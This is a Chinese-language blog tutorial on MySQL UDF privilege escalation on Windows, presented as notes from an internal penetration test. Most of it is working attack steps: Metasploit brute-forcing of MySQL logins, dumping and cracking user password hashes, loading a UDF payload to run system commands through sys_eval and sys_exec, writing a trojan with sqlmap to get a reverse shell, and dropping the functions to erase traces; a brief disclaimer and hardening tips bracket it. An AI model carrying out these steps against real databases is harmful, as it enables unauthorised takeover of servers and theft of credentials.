【数据库提权】MySQL UDF提权 (Window环境)

野性酷女 2024-03-25 17:01 61阅读 0赞

#### 文章目录 ####

*  前言
 *  一、UDF简介
 *  二、UDF提权条件
 *  三、上传动态链接库文件
 *  四、UDF提权步骤
 *   *  MSF漏洞验证
 *  五、UDF提权反弹Shell
 *  六、清理痕迹
 *  七、修复建议

--------------------

## 前言 ##

本文章仅记录某次内网渗透过程中遇到的MySQL 采用UDF提权等方式进行获取权限，文章中内容仅用于技术交流，切勿用于非授权下渗透攻击行为，慎重！！！

--------------------

## 一、UDF简介 ##

UDF(Userdefined function)可以翻译为用户自定义函数，其为mysql的一个拓展接口，可以为Mysql增添一些函数，对MySQL的功能进行扩充，然后就可以在MySQL中进行使用这些函数了。

攻击者通过编写调用cmd或shell的udf.dll/udf.so文件，并且导入到指定的文件夹目录下，创建一个指向udf.dll/udf.so的自定义函数，从而在数据库中的查询就等价于在cmd或shell中执行命令。

## 二、UDF提权条件 ##

1、MySQL数据库的Root权限(可以通过账号密码远程登录到Mysql数据库)

2、MySQL具有写入文件的权限(即Secure\_file\_priv的值为空，不为空时必须有写入my.ini的权限)

连接MySQL数据库后，通过SQL语句`show global variables like '%secure%';`查看secure\_file\_priv的值。

当secure_file_priv的值为NULL，表示限制mysqld不允许导入|导出，此时无法提权。
    当secure_file_priv的值为/tmp/, 表示限制mysqld的导入|导出只能发生在/tmp/目录下，此时也无法提权；
    当secure_file_priv的值没有具体值时，表示不对mysqld的导入|导出做限制，此时可提权。

如果secure\_file\_priv的值不是空，需要在MySQL/my.ini中设置secure\_file\_priv参数为`secure_file_priv =`

--------------------

## 三、上传动态链接库文件 ##

动态链接库就是实现共享函数库概念的一种方式，在windows环境下后缀名为 .dll ，在Linux环境下后缀名为 .so ,我们要将该文件放在特定的目录中，该文件中包含了执行系统命令的一些函数。

MySQL版本大于`5.1` ，udf.dll文件必须放置在mysql安装目录的`lib\plugin`文件夹下(plugin文件夹默认不存在，需要自行创建；MySQL安装目录可以通过select basedir() 或者select @@basedir 查看)

MySQL版本小于`5.1` ，udf.dll文件在win2003下放置于`C:\Windows`或者`C:\Windows\system32`目录，在win2000下放置在`C:\Winnt\system32`目录。

## 四、UDF提权步骤 ##

**1、查看secure\_file\_priv的值**

Secure\_file\_priv是用来限制load dumpfile、into outfile、load\_file() 函数在哪个目录下拥有上传或者读取文件的权限。

输入语句：`show global variables like '%secure%';` \#\#值为空即可操作  
![在这里插入图片描述][e165b6cc0252431e882148d75d1f886f.png]  
**2、查看plugin的值**

`select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);`

当 plugin 的值为空时不可提权
        当 plugin 值为 mysql_native_password 时可通过账户连接提权

![在这里插入图片描述][36909a40cd2045c081fb9d9072567b8e.png]

实际测试发现UDF提权成功与否与该值无关。

**3、查看系统构架以及plugin目录**

`Show variables like '%compile%';` //查看主机版本及架构  
![在这里插入图片描述][c1011dabf84b485fa2c811e9e03316ac.png]  
`show variables like '%plugin%';` //查看 plugin 目录  
![在这里插入图片描述][c6cdb29b037d4f66a191da016861bee5.png]

### MSF漏洞验证 ###

使用MSF搜索关于MySQL辅助利用脚本

**`search mysql`**

![在这里插入图片描述][48b6737ca35a4e79a072abbf40fe2a3b.png]  
![在这里插入图片描述][e7214624442c448a8e3a2421334f3708.png]  
**使用弱口令扫描脚本，并查看需要配置选项**

use auxiliary/scanner/mysql/mysql_login
    show options

![在这里插入图片描述][e758f2adfde245439a7311d944f667ad.png]  
可配置 pass\_file（暴力破解字典，所在绝对路径）在不知道密码的情况下可使用  
配置 RHOSTS （靶机IP地址）  
set rhosts 192.168.x.x/24 (可批量扫描)  
![在这里插入图片描述][34b6aaa506b742be9ea178c2c1a38d9d.png]  
配置USERNAME(`靶机MySQL服务用户名`)或者配置USER\_FILE(`用户名字典`)

方法二选一

set pass_file /top100.txt
    set rhosts 192.168.x.x
    set username root
    run 或者 exploit 进行攻击！！！

**以上两种方法是在未知MySQL数据库账密情况下进行爆破方式，具体以实际情况为主。**

获取MySQL的基础信息

使用模块：`use auxiliary/admin/mysql/mysql_enum`  
![在这里插入图片描述][85f730ec155b49e4955a84f9792e9e84.png]

set rhosts 192.168.x.x
    set password root
    set username root
    run

获取MySQL基础信息及其他存在用户及其密码  
![在这里插入图片描述][5a8bd1985d56453e9cd7349c0d0ec200.png]  
可使用CMD5或者john工具进行破解  
![在这里插入图片描述][be3bd6b8c54e4f71bb791d9177ee6e8c.png]  
**接下来进行UDF提权，加载攻击载荷**

use exploit/multi/mysql/mysql_udf_payload
    set rhosts 192.168.*.*
    set password root

![在这里插入图片描述][99c9855b0e6d46d0844f39e731d44f9b.png]  
![在这里插入图片描述][88d15ce10865424a89139940735453a2.png]  
**在MySQL中执行SQL语句，查看上传的DLL文件名**

`select * from mysql.func;`  
![在这里插入图片描述][00d41f4e47494189a2d6e4b13952e27b.png]  
执行命令 `select sys_exec("whoami");`  
![在这里插入图片描述][5b7c53e625244e88aba5d73fc21ffc86.png]  
如果返回结果为 0 就代表成功，返回`1`代表失败。

通过之前MSF生成的DLL文件创建`sys_eval()`函数，使执行的命令存在回显。

`create function sys_eval returns string soname "****.dll";`  
![在这里插入图片描述][7224bac7fe7b4e359234ca2272c5ffe2.png]  
再次执行命令 `select sys_eval("whoami");`  
![在这里插入图片描述][ee0c8b5939f9463c9c8a9f0dcba6ff88.png]  
可使用攻击载荷 `use auxiliary/admin/mysql/mysql_sql` 进行后续其他命令操作  
![在这里插入图片描述][f5ffd41e936841238bf6e8ef3e92ddfc.png]

## 五、UDF提权反弹Shell ##

当UDF提权后，我们想反弹一个MSF或者CS的shell，首先呢使用CS的PowerShell反弹命令是不行的，这里由于powershell命令引号过多，不能执行。

那么现在的思路就是执行木马文件，反弹Shell，这里由于sys\_eval函数不能执行Windows那些远程下载命令，所以我们选择通过sqlmap的写入文件功能，将木马写入当前目录。

**首先，查看当前目录**  
![在这里插入图片描述][55899a2141b048ea8e08514bd5c3f175.png]  
然后sqlmap写入木马，这里也是可以进行远程下载的；

命令：`sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:\phpStudy\PHPTutorial\MySQL\data\*.exe"`

执行木马反弹，这里需要注意的是，sys\_eval函数只能执行当前目录下的文件，所以，也只能把文件写入当前路径下。

## 六、清理痕迹 ##

命令：`drop function sys_eval;` `drop function sys_exec;`  
![在这里插入图片描述][0dd6203389cb43469fc159124391ebbb.png]

## 七、修复建议 ##

1、mysql配置文件中 secure\_file\_priv 项设置为NULL或非 `mysql/lib/plugin`目录。

2、控制目录访问权限，例如控制`/lib/plugin`，`system32/wbem/mof`等目录需要管理员权限访问或者设置为只读权限。

3、**数据库用户确保正确实施最小权限原则**。

[e165b6cc0252431e882148d75d1f886f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/f791f80ffe034fdf9042a7babe46ab99.png
[36909a40cd2045c081fb9d9072567b8e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/9e32d052c0084405b9da55e09c0fc644.png
[c1011dabf84b485fa2c811e9e03316ac.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/7fd595030888414bac8e27fe42e671b1.png
[c6cdb29b037d4f66a191da016861bee5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/df6f4df395d1417a8b148539502be4a6.png
[48b6737ca35a4e79a072abbf40fe2a3b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/b82807e0c5a34eab8735df7cff038e6f.png
[e7214624442c448a8e3a2421334f3708.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/9a888408318f40c8abfb22e62d8e93b8.png
[e758f2adfde245439a7311d944f667ad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/f4d9c2e31ae24fadab55ff5a2e5233db.png
[34b6aaa506b742be9ea178c2c1a38d9d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/cc6ce3d5ba4247bfa6f9a21ba9bfd335.png
[85f730ec155b49e4955a84f9792e9e84.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/8900a0cebe81417a93432af5d837eeaf.png
[5a8bd1985d56453e9cd7349c0d0ec200.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/8d29f7daa73041ad87c8d4b872d3b86b.png
[be3bd6b8c54e4f71bb791d9177ee6e8c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/3491b7055f5846bc8ba2378bac351a3d.png
[99c9855b0e6d46d0844f39e731d44f9b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/fb9abb11b76343868bba8f06d6d33fcd.png
[88d15ce10865424a89139940735453a2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/41d38350d9054531a0226a496950a6b1.png
[00d41f4e47494189a2d6e4b13952e27b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/2a116d58830c4850b5aec52865f061b5.png
[5b7c53e625244e88aba5d73fc21ffc86.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/dfe1c1b27af34cab906cca2a34f7b987.png
[7224bac7fe7b4e359234ca2272c5ffe2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/a5c4c14556294b0c8fde2b302df935a7.png
[ee0c8b5939f9463c9c8a9f0dcba6ff88.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/8c7b6f7f24af4aedaa5c5165ef0dc42a.png
[f5ffd41e936841238bf6e8ef3e92ddfc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/47cab8b6f9b44635999814684002ce45.png
[55899a2141b048ea8e08514bd5c3f175.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/b70119e7f6ad484da0139689fc1608bb.png
[0dd6203389cb43469fc159124391ebbb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/b0c9fc03bc754c1fa78d7839c01c7910.png